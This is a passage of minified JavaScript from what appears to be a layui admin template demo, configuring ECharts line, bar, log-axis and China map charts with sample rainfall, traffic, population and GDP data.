86,13.36,12.9,12.48,12.1,11.75,11.43,11.15,10.9,10.67,10.48,10.31,10.16,10.04,9.93,9.85,9.78,9.73,9.69,9.67,9.65,9.65,12.08,8.67,11.7,11.38,10.65,9.84,9.32,9.07,8.85,8.66,8.49,8.35,8.22,8.1,7.98,7.86,7.74,7.61,7.47,7.31,7.14,6.96,6.78,6.58,6.39,6.19,5.99,5.78,5.58,5.39,5.2,5.01,4.83,4.67,4.51,4.37,4.24,4.12,4.02,3.95,3.89,3.85,3.84,4.41,5.77,7.39,8.75,9.32,9.18,9,8.94,8.88,8.83,8.78,8.73,8.68,8.64,8.6,8.56,8.53,8.5,8.47,8.45,8.42,8.4,8.39,8.37,8.36,8.35,8.35,8.34,8.34,8.67,9.65,9.62,9.53,9.4,9.21,8.98,8.7,8.4,8.06,7.69,7.3,6.89,6.47,6.03,5.59,5.14,4.7,4.26,3.83,3.42,3.02,2.65,2.3,1.98,1.7,1.45,1.25,1.09,.99,.94,.92,.91,.89,.87,.85,.84,.82,.81,.79,.78,.77,.75,.74,.73,.72,.71,.7,.69,.68,.67,.66,.65,.64,.64,.63,.63,.62,.62,.61,.61,.61,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.6,.61,.61,.61,.61,.61,.61,.62,.62,.62,.62,.63,.63,.63,.63,.63,.64,.64,.64,.64,.64,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.65,.64,.63,.62,.6,.59,.57,.55,.54,.53,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.51,.51,.51,.5,.5,.49,.48,.47,.47,.46,.45,.45,.44,.43,.42,.42,.41,.41,.41,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.41,.42,.43,.44,.46,.48,.5,.53,.55,.58,.61,.64,.67,.7,.73,.77,.8,.83,.87,.9,.93,.96,.99,1.02,1.05,1.08,1.1,1.12,1.14,1.16,1.17,1.18,1.19,1.2,1.2,1.2,1.19,1.17,1.15,1.12,1.09,1.06,1.02,.98,.94,.9,.86,.82,.78,.74,.7,.66,.63,.6,.57,.55,.53,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.52,.51,.51,.5,.5,.49,.49,.48,.47,.47,.47,.46,.46,.45,.45,.45,.44,.44,.44,.43,.43,.43,.42,.42,.42,.41,.41,.41,.41,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.4,.41,.41,.41,.41,.41,.41,.41,.41,.41,.41,.41,.41,.41,.41,.41,.42,.42,.42,.42,.42,.42,.42,.42,.42,.43,.43,.43,.43,.43,.43,.44,.44,.44,.44,.44,.44,.45,.45,.45]},{name:"降雨量",type:"line",yAxisIndex:1,itemStyle:{normal:{areaStyle:{type:"default"}}},data:function(){for(var e=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.005,.017,.017,.017,.017,.011,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.021,.026,.03,.036,.036,.195,.221,.019,.013,.017,.03,.03,.03,.046,.045,.038,.084,.045,.045,.037,.034,.035,.036,.044,.052,.048,.109,.033,.029,.04,.042,.042,.042,.073,.076,.062,.066,.066,.075,.096,.128,.121,.128,.14,.226,.143,.097,.018,0,0,0,0,0,.018,.047,.054,.054,.054,.036,.185,.009,.038,.061,.077,.091,.126,.69,.182,.349,.231,.146,.128,.167,.1,.075,.071,.071,.117,.01,.002,.002,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.005,.026,.038,.038,.038,.076,.086,.109,.213,.276,.288,.297,.642,1.799,1.236,2.138,.921,.497,.685,.828,.41,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.018,.024,.024,.024,.024,.006,.003,.046,.046,.046,.046,.043,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.204,.303,1.028,1.328,1.524,1.41,1.362,1.292,1.191,.529,.501,.944,1.81,2.899,.859,.126,.087,.047,0,0,0,0,.011,.028,.028,.028,.028,.017,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.099,.159,.297,.309,.309,.614,.818,1.436,1.195,.553,.542,.955,.898,.466,.386,.556,.388,.221,.192,.192,.187,.166,.18,.302,.158,.009,.009,.009,.009,.009,.007,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.004,.032,.032,.032,.032,.082,.149,.204,.247,.262,.49,.51,.533,.746,.847,2.393,1.188,1.114,.475,.043,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.017,.017,.021,.042,.079,.111,.126,.122,.133,.846,.102,.077,.067,.056,.005,0,0,0,0,0,0,0,0,0,0,0,0,0,.011,.017,.017,.017,.017,.006,0,0,0,0,0,.01,.03,.054,.067,.07,.25,.251,.494,.065,.054,.054,.064,.084,.077,.101,.132,.248,.069,.117,.115,.087,.326,.036,.009,.009,.009,.009,.009,.004,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.02,.039,.04,.04,.04,.229,.079,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.023,.069,.082,.082,.082,.503,.774,.038,.012,.012,.012,.016,.02,.028,.051,.06,.064,.19,.15,.164,.139,.13,.085,.031,.023,.022,.007,.005,.005,.001,0,.02,.048,.048,.053,.056,.036,.008,.008,.004,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.013,.017,.036,.068,.095,.233,.272,.377,.722,1.494,3.756,.954,.439,.442,.462,.373,.249,.214,.1,.044,.037,.023,.002,0,0,0,0,0,0,.02,.024,.024,.024,.024,.004,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.008,.017,.017,.045,.186,.308,.241,.241,.893,4.067,4.494,5.015,3.494,2.057,1.411,.718,.407,.313,.339,1.537,1.105,.218,.136,.03,.005,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.037,.448,1.2,1.309,1.309,1.425,1.223,.471,.767,.423,.273,.412,.646,.481,.239,.131,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.044,.15,.223,.388,.513,.883,2.828,4.786,5.959,4.95,6.434,6.319,3.35,2.806,4.204,1.395,1.015,1.015,.836,.74,.72,.615,.477,.192,.046,.007,.007,.007,.007,.007,.007,.007,.008,.005,.005,.005,.005,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.001,.012,.012,.012,.012,.011,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.002,.012,.028,.028,.028,.138,.092,.082,.082,.096,.719,.155,.042,.047,.129,.021,.021,.014,.009,.029,.067,.088,.095,.095,.138,.091,.032,.025,.025,.003,0,0,0,0,0,0,0,0,0,0,0,0,.002,.045,.228,.297,.325,.339,.581,1.244,.796,.517,.227,.053,.006,0,0,0,0,0,0,0,0,0,.003,.005,.005,.005,.005,.081,.129,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.014,.041,.041,.041,.041,.027,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.009,.017,.017,.017,.017,.355,.174,.009,.009,.012,.136,.208,.208,.208,.215,7.359,1.858,.458,.053,.053,.047,.045,.045,.059,.136,.188,.206,.21,.588,1.517,6.02,4.688,4.42,.624,.326,.359,.553,.899,.94,2.95,9.415,5.752,1.092,.096,.035,.026,.018,.015,.011,.011,.011,0,0,0,0,0,0,0,0,0,0,0,.056,.27,.314,.351,.354,.609,.796,1.857,.848,.538,.214,.178,.178,.201,.231,.227,.272,.397,.45,1.014,2.917,1.675,.081,.059,.059,.148,.075,.075,.078,.236,.784,.784,.784,.784,.741,.115,.058,.058,.058,.029,.015,.015,.015,.015,.012,.008,.604,.985,1.305,2.273,2.528,2.336,2.496,2.281,1.397,1.713,3.259,1.167,.745,.548,1.058,.684,.728,.392,.179,.283,.283,.46,.08,.099,.099,.099,.1,.143,.137,.238,.317,.262,.225,.792,.426,.332,.261,.11,.093,.102,.171,.292,.504,.605,1.745,2.485,1.964,.33,.171,.259,.242,.215,.366,.354,.205,.203,.262,.153,.13,.137,.362,.691,.295,.433,.154,.056,.053,.053,.053,.051,.047,.065,.078,.091,.206,.813,.102,.151,.05,.024,.004,.001,0,0,0,.021,.021,.021,.021,.021,.013,.013,.013,.013,.013,.013,.013,.013,.01,.01,.01,.01,.01,.01,.01,.01,.01,.01,.008,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.018,.021,.021,.021,.021,.003,0,0,0,0,0,0,0,0,0,.024,.173,.261,.267,.267,.534,1.354,1.772,.72,.218,.018,.018,.028,.036,.032,.194,.082,.035,.286,.027,.038,.038,.027,.021,.014,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.016,.017,.017,.031,.047,.043,.056,.104,.149,.179,.205,.328,.998,.522,1.851,3.727,3.273,2.204,1.169,1.006,1.179,.74,.741,1.065,.925,.671,.497,.431,.327,.277,.126,.581,.207,.359,2.485,.038,.036,.003,.003,.003,.003,.004,.098,.023,.021,.021,.022,.041,.041,.043,.045,.043,.014,.014,.014,.014,.014,.014,.014,.031,.046,.063,.119,.107,.092,.085,.065,.06,.054,.042,.039,.046,.044,.028,.028,.02,.013,.013,.013,.013,.016,.032,.031,.031,.031,.028,.011,.011,.011,.011,.011,.023,.024,.024,.024,.019,.015,.015,.015,.015,.015,.015,.013,.01,.01,.01,.01,.01,.01,.01,.01,.01,.01,.001,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.011,.017,.024,.026,.061,.172,.206,.213,.267,.511,.668,.157,.017,.017,.017,.046,.054,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.001,.017,.017,.017,.017,.016,0,0,0,0,0,0,0,0,0,.01,.017,.017,.017,.017,.012,.017,.017,.017,.017,.012,0,0,0,0,0,.003,.031,.066,.093,.112,.122,.202,.068,.041,.022,.011,0,0,0,0,0,0,0,0,0,0,0,.002,.005,.012,.021,.021,.019,.033,.03,.026,.026,.034,.095,.024,.024,.024,.023,.019,.018,.018,.018,.011,.03,.045,.044,.044,.044,.022,.009,.024,.033,.033,.033,.024,.009,0,0,0,0,0,0,.003,.017,.017,.017,.017,.014,0,0,0,0,0,.032,.032,.032,.032,.032,.005,.008,.009,.014,.014,.009,.005,.004,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.007,.009,.009,.009,.009,.043,.063,.084,.098,.101,.213,.334,.383,.43,.448,.511,.801,.835,1.642,1.614,1.496,1.496,1.476,1.068,.481,.22,.119,.099,.07,.072,.063,.076,.14,.205,.28,.297,.3,.479,.877,1.098,1.611,1.629,1.686,1.686,1.631,1.528,1.862,1.703,1.531,2.196,.395,.416,.453,.728,.917,.986,1.17,2.171,3.011,2.909,3.301,1.377,.778,.799,.947,1.039,.879,.76,1.372,1.674,1.674,1.68,1.823,1.793,1.162,.783,.216,.152,.152,.152,.049,0,0,0,.117,.127,.127,.127,.127,.127,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.003,.005,.005,.005,.005,.003,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.309,.364,.364,.364,.364,.063,.01,.01,.01,.012,.015,.015,.11,.55,.824,.825,.829,1.39,1.429,1.342,1.43,1.636,1.717,2.135,2.203,3.191,3.022,1.589,.86,.807,.645,.595,.588,.557,.552,1.271,.708,.677,.629,.714,.203,.133,.061,.062,.018,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.001,.072,.29,.438,.53,.557,.873,1.039,1.04,.208,.049,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.03,.039,.039,.039,.039,.098,.008,.007,.007,.007,.007,.007,.007,.007,.007,.007,.056,.062,.065,.065,.065,.047,.216,.256,.315,.4,.502,.449,.47,.571,.814,1.153,.774,.202,.086,.075,.071,.032,.019,.003,.004,.004,.004,.004,.004,.004,.007,.072,.153,.256,.306,.404,.698,.733,.823,.715,.563,.404,.293,.217,.213,.202,.202,.294,.704,.797,1.359,1.101,.72,.514,.539,.434,.389,.387,.386,.375,.369,.319,.239,.183,.136,.062,.052,.096,.119,.119,.114,.127,.132,.139,.169,.191,.278,.254,.214,.237,.221,.143,.129,.125,.109,.1,.087,.06,.038,.029,.029,.028,.048,.053,.053,.111,.125,.102,.097,.097,.039,.02,.02,.02,.014,.004,.031,.043,.047,.052,.08,.144,.182,.176,.171,.149,.112,.025,0,0,0,0,0,0,0,.016,.031,.031,.031,.031,.015,0,0,0,0,0,.005,.005,.005,.005,.005,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,.005,.005,.005,.005,.005,.001,0,0,0],a=e.length;a--;)e[a]*=-1;return e}()}]}],g=e("#LAY-index-area").children("div"),S=function(e){h[e]=a.init(g[e],layui.echartsTheme),h[e].setOption(f[e]),window.onresize=h[e].resize};if(g[0]){S(0);var A=[],w=[{title:{text:"对数轴示例",x:"center"},tooltip:{trigger:"item",formatter:"{a}
{b} : {c}"},legend:{x:"left",data:["2的指数","3的指数"]},xAxis:[{type:"category",name:"x",splitLine:{show:!1},data:["一","二","三","四","五","六","七","八","九"]}],yAxis:[{type:"log",name:"y"}],calculable:!0,series:[{name:"3的指数",type:"line",data:[1,3,9,27,81,247,741,2223,6669]},{name:"2的指数",type:"line",data:[1,2,4,8,16,32,64,128,256]}]}],k=e("#LAY-index-logline").children("div"),z=function(e){A[e]=a.init(k[e],layui.echartsTheme),A[e].setOption(w[e]),window.onresize=A[e].resize};k[0]&&z(0)}}}}}}),layui.use(["echarts"],function(){var e=layui.$,a=layui.echarts,t=[],i=[{title:{text:"某地区蒸发量和降水量",subtext:"纯属虚构"},tooltip:{trigger:"axis"},legend:{data:["蒸发量","降水量"]},calculable:!0,xAxis:[{type:"category",data:["1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月"]}],yAxis:[{type:"value"}],series:[{name:"蒸发量",type:"bar",data:[2,4.9,7,23.2,25.6,76.7,135.6,162.2,32.6,20,6.4,3.3],markPoint:{data:[{type:"max",name:"最大值"},{type:"min",name:"最小值"}]},markLine:{data:[{type:"average",name:"平均值"}]}},{name:"降水量",type:"bar",data:[2.6,5.9,9,26.4,28.7,70.7,175.6,182.2,48.7,18.8,6,2.3],markPoint:{data:[{name:"年最高",value:182.2,xAxis:7,yAxis:183,symbolSize:18},{name:"年最低",value:2.3,xAxis:11,yAxis:3}]},markLine:{data:[{type:"average",name:"平均值"}]}}]}],n=e("#LAY-index-normcol").children("div"),l=function(e){t[e]=a.init(n[e],layui.echartsTheme),t[e].setOption(i[e]),window.onresize=t[e].resize};if(n[0]){l(0);var r=[],o=[{tooltip:{trigger:"axis",axisPointer:{type:"shadow"}},legend:{data:["直接访问","邮件营销","联盟广告","视频广告","搜索引擎","百度","谷歌","必应","其他"]},calculable:!0,xAxis:[{type:"category",data:["周一","周二","周三","周四","周五","周六","周日"]}],yAxis:[{type:"value"}],series:[{name:"直接访问",type:"bar",data:[320,332,301,334,390,330,320]},{name:"邮件营销",type:"bar",stack:"广告",data:[120,132,101,134,90,230,210]},{name:"联盟广告",type:"bar",stack:"广告",data:[220,182,191,234,290,330,310]},{name:"视频广告",type:"bar",stack:"广告",data:[150,232,201,154,190,330,410]},{name:"搜索引擎",type:"bar",data:[862,1018,964,1026,1679,1600,1570],markLine:{itemStyle:{normal:{lineStyle:{type:"dashed"}}},data:[[{type:"min"},{type:"max"}]]}},{name:"百度",type:"bar",barWidth:5,stack:"搜索引擎",data:[620,732,701,734,1090,1130,1120]},{name:"谷歌",type:"bar",stack:"搜索引擎",data:[120,132,101,134,290,230,220]},{name:"必应",type:"bar",stack:"搜索引擎",data:[60,72,71,74,190,130,110]},{name:"其他",type:"bar",stack:"搜索引擎",data:[62,82,91,84,109,110,120]}]}],m=e("#LAY-index-heapcol").children("div"),s=function(e){r[e]=a.init(m[e],layui.echartsTheme),r[e].setOption(o[e]),window.onresize=r[e].resize};if(m[0]){s(0);var y=[],d=[{title:{text:"双数值柱形图",subtext:"纯属虚构"},tooltip:{trigger:"axis",axisPointer:{show:!0,type:"cross",lineStyle:{type:"dashed",width:1}},formatter:function(e){return e.seriesName+" : [ "+e.value[0]+", "+e.value[1]+" ]"}},legend:{data:["数据1","数据2"]},calculable:!0,xAxis:[{type:"value"}],yAxis:[{type:"value",axisLine:{lineStyle:{color:"#dc143c"}}}],series:[{name:"数据1",type:"bar",data:[[1.5,10],[5,7],[8,8],[12,6],[11,12],[16,9],[14,6],[17,4],[19,9]],markPoint:{data:[{type:"max",name:"最大值",symbol:"emptyCircle",itemStyle:{normal:{color:"#dc143c",label:{position:"top"}}}},{type:"min",name:"最小值",symbol:"emptyCircle",itemStyle:{normal:{color:"#dc143c",label:{position:"bottom"}}}},{type:"max",name:"最大值",valueIndex:0,symbol:"emptyCircle",itemStyle:{normal:{color:"#1e90ff",label:{position:"right"}}}},{type:"min",name:"最小值",valueIndex:0,symbol:"emptyCircle",itemStyle:{normal:{color:"#1e90ff",label:{position:"left"}}}}]},markLine:{data:[{type:"max",name:"最大值",itemStyle:{normal:{color:"#dc143c"}}},{type:"min",name:"最小值",itemStyle:{normal:{color:"#dc143c"}}},{type:"average",name:"平均值",itemStyle:{normal:{color:"#dc143c"}}},{type:"max",name:"最大值",valueIndex:0,itemStyle:{normal:{color:"#1e90ff"}}},{type:"min",name:"最小值",valueIndex:0,itemStyle:{normal:{color:"#1e90ff"}}},{type:"average",name:"平均值",valueIndex:0,itemStyle:{normal:{color:"#1e90ff"}}}]}},{name:"数据2",type:"bar",barHeight:10,data:[[1,2],[2,3],[4,4],[7,5],[11,11],[18,15]]}]}],c=e("#LAY-index-diffcol").children("div"),p=function(e){y[e]=a.init(c[e],layui.echartsTheme),y[e].setOption(d[e]),window.onresize=y[e].resize};if(c[0]){p(0);var u=[],x=[{title:{x:"center",text:"ECharts例子个数统计",subtext:"Rainbow bar example",link:"http://echarts.baidu.com/doc/example.html"},tooltip:{trigger:"item"},calculable:!0,grid:{borderWidth:0,y:80,y2:60},xAxis:[{type:"category",show:!1,data:["Line","Bar","Scatter","K","Pie","Radar","Chord","Force","Map","Gauge","Funnel"]}],yAxis:[{type:"value",show:!1}],series:[{name:"ECharts例子个数统计",type:"bar",itemStyle:{normal:{color:function(e){var a=["#C1232B","#B5C334","#FCCE10","#E87C25","#27727B","#FE8463","#9BCA63","#FAD860","#F3A43B","#60C0DD","#D7504B","#C6E579","#F4E001","#F0805A","#26C0C0"];return a[e.dataIndex]},label:{show:!0,position:"top",formatter:"{b}\n{c}"}}},data:[12,21,10,4,12,5,6,5,25,23,7],markPoint:{tooltip:{trigger:"item",backgroundColor:"rgba(0,0,0,0)",formatter:function(e){return''}},data:[{xAxis:0,y:350,name:"Line",symbolSize:20},{xAxis:1,y:350,name:"Bar",symbolSize:20},{xAxis:2,y:350,name:"Scatter",symbolSize:20},{xAxis:3,y:350,name:"K",symbolSize:20},{xAxis:4,y:350,name:"Pie",symbolSize:20},{xAxis:5,y:350,name:"Radar",symbolSize:20},{xAxis:6,y:350,name:"Chord",symbolSize:20},{xAxis:7,y:350,name:"Force",symbolSize:20},{xAxis:8,y:350,name:"Map",symbolSize:20},{xAxis:9,y:350,name:"Gauge",symbolSize:20},{xAxis:10,y:350,name:"Funnel",symbolSize:20}]}}]}],v=e("#LAY-index-colorline").children("div"),b=function(e){u[e]=a.init(v[e],layui.echartsTheme),u[e].setOption(x[e]),window.onresize=u[e].resize};if(v[0]){b(0);var h=[],f=[{title:{text:"世界人口总量",subtext:"数据来自网络"},tooltip:{trigger:"axis"},legend:{data:["2011年","2012年"]},calculable:!0,xAxis:[{type:"value",boundaryGap:[0,.01]}],yAxis:[{type:"category",data:["巴西","印尼","美国","印度","中国","世界人口(万)"]}],series:[{name:"2011年",type:"bar",data:[18203,23489,29034,104970,131744,630230]},{name:"2012年",type:"bar",data:[19325,23438,31e3,121594,134141,681807]}]}],g=e("#LAY-index-normbar").children("div"),S=function(e){h[e]=a.init(g[e],layui.echartsTheme),h[e].setOption(f[e]),window.onresize=h[e].resize};if(g[0]){S(0);var A=[],w=[{tooltip:{trigger:"axis",axisPointer:{type:"shadow"}},legend:{data:["直接访问","邮件营销","联盟广告","视频广告","搜索引擎"]},calculable:!0,xAxis:[{type:"value"}],yAxis:[{type:"category",data:["周一","周二","周三","周四","周五","周六","周日"]}],series:[{name:"直接访问",type:"bar",stack:"总量",itemStyle:{normal:{label:{show:!0,position:"insideRight"}}},data:[320,302,301,334,390,330,320]},{name:"邮件营销",type:"bar",stack:"总量",itemStyle:{normal:{label:{show:!0,position:"insideRight"}}},data:[120,132,101,134,90,230,210]},{name:"联盟广告",type:"bar",stack:"总量",itemStyle:{normal:{label:{show:!0,position:"insideRight"}}},data:[220,182,191,234,290,330,310]},{name:"视频广告",type:"bar",stack:"总量",itemStyle:{normal:{label:{show:!0,position:"insideRight"}}},data:[150,212,201,154,190,330,410]},{name:"搜索引擎",type:"bar",stack:"总量",itemStyle:{normal:{label:{show:!0,position:"insideRight"}}},data:[820,832,901,934,1290,1330,1320]}]}],k=e("#LAY-index-heapbar").children("div"),z=function(e){A[e]=a.init(k[e],layui.echartsTheme),A[e].setOption(w[e]),window.onresize=A[e].resize};if(k[0]){z(0);var L=[],C={normal:{label:{position:"right"}}},P=[{title:{text:"交错正负轴标签",subtext:"From ExcelHome",sublink:"http://e.weibo.com/1341556070/AjwF2AgQm"},tooltip:{trigger:"axis",axisPointer:{type:"shadow"}},grid:{y:80,y2:30},xAxis:[{type:"value",position:"top",splitLine:{lineStyle:{type:"dashed"}}}],yAxis:[{type:"category",axisLine:{show:!1},axisLabel:{show:!1},axisTick:{show:!1},splitLine:{show:!1},data:["ten","nine","eight","seven","six","five","four","three","two","one"] +}],series:[{name:"生活费",type:"bar",stack:"总量",itemStyle:{normal:{color:"orange",borderRadius:5,label:{show:!0,position:"left",formatter:"{b}"}}},data:[{value:-.07,itemStyle:C},{value:-.09,itemStyle:C},.2,.44,{value:-.23,itemStyle:C},.08,{value:-.17,itemStyle:C},.47,{value:-.36,itemStyle:C},.18]}]}],T=e("#LAY-index-windline").children("div"),O=function(e){L[e]=a.init(T[e],layui.echartsTheme),L[e].setOption(P[e]),window.onresize=L[e].resize};T[0]&&O(0)}}}}}}}),layui.use(["echarts"],function(){var e=layui.$,a=layui.echarts,t=[],i=[{title:{text:"2011全国GDP(亿元)",subtext:"数据来自国家统计局"},tooltip:{trigger:"item"},dataRange:{orient:"horizontal",min:0,max:55e3,text:["高","低"],splitNumber:0},series:[{name:"2011全国GDP分布",type:"map",mapType:"china",mapLocation:{x:"center"},selectedMode:"multiple",itemStyle:{normal:{label:{show:!0}},emphasis:{label:{show:!0}}},data:[{name:"西藏",value:605.83},{name:"青海",value:1670.44},{name:"宁夏",value:2102.21},{name:"海南",value:2522.66},{name:"甘肃",value:5020.37},{name:"贵州",value:5701.84},{name:"新疆",value:6610.05},{name:"云南",value:8893.12},{name:"重庆",value:10011.37},{name:"吉林",value:10568.83},{name:"山西",value:11237.55},{name:"天津",value:11307.28},{name:"江西",value:11702.82},{name:"广西",value:11720.87},{name:"陕西",value:12512.3},{name:"黑龙江",value:12582},{name:"内蒙古",value:14359.88},{name:"安徽",value:15300.65},{name:"北京",value:16251.93,selected:!0},{name:"福建",value:17560.18},{name:"上海",value:19195.69,selected:!0},{name:"湖北",value:19632.26},{name:"湖南",value:19669.56},{name:"四川",value:21026.68},{name:"辽宁",value:22226.7},{name:"河北",value:24515.76},{name:"河南",value:26931.03},{name:"浙江",value:32318.85},{name:"山东",value:45361.85},{name:"